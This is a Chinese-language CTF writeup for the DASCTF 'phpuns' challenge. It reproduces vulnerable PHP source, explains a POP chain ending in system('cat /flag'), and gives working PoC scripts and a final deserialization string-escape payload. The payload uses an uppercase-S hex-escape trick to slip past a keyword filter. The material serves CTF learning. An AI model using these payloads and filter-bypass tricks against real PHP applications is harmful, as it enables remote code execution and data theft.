Contents

又见反序列化逃逸(phpuns) Writeup

Contents

DASCTF6月赛的一题,看了一下,是遇到过多次的反序列化字符串逃逸,随便写一下

主要源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}

function reduce($data)
{
    $data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);//5->3
    return $data;
}

function check($data)
{
    if(stristr($data, 'c2e38')!==False){
        die('exit');
    }
}

class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}

class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

$username = "";
$password = "";

$user = new User($username, $password);
$s = add(serialize($user));
check(reduce($s));
$tmp = unserialize(reduce($s));

pop链:usernamepassword会进行序列化并反序列化,实例化Hacker_A类同时初始化为Hacker_B类,stristr($this->c2e38, "admin")===False会将Hacker_B当做字符串调用,触发Hacker_B__toString方法,继续将Hacker_B类初始化为Hacker_C类,$tmp();会将Hacker_C当做函数调用,触发Hacker_C__invoke方法,然后拿到flag

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}
class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

$a = new Hacker_A(new Hacker_B(new Hacker_C));
$p = serialize($a);
var_dump($p);

然后构造逃逸:之前的文章 验证poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}

function reduce($data)
{
    $data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);//5->3
    return $data;
}

function check($data)
{
    if(stristr($data, 'c2e38')!==False){
        die('exit');
    }
}

class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}

class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

$username = "\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";
$password = '";s:11:"\0*\0password";O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;';

$user = new User($username, $password);
$s = add(serialize($user));
var_dump($s);
check(reduce($s));
$tmp = unserialize(reduce($s));
var_dump(reduce($s));

//\63\32\65\33\38 == c2e38
//payload = ";s:11:"\0*\0password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;

这里有个trick: S代替s,在这种情况下\00就会被解析成%00,而如果是小写s,\00就是一个斜线+2个零

最终payload:

1
2
username = \0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password = ";s:11:"\0*\0password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;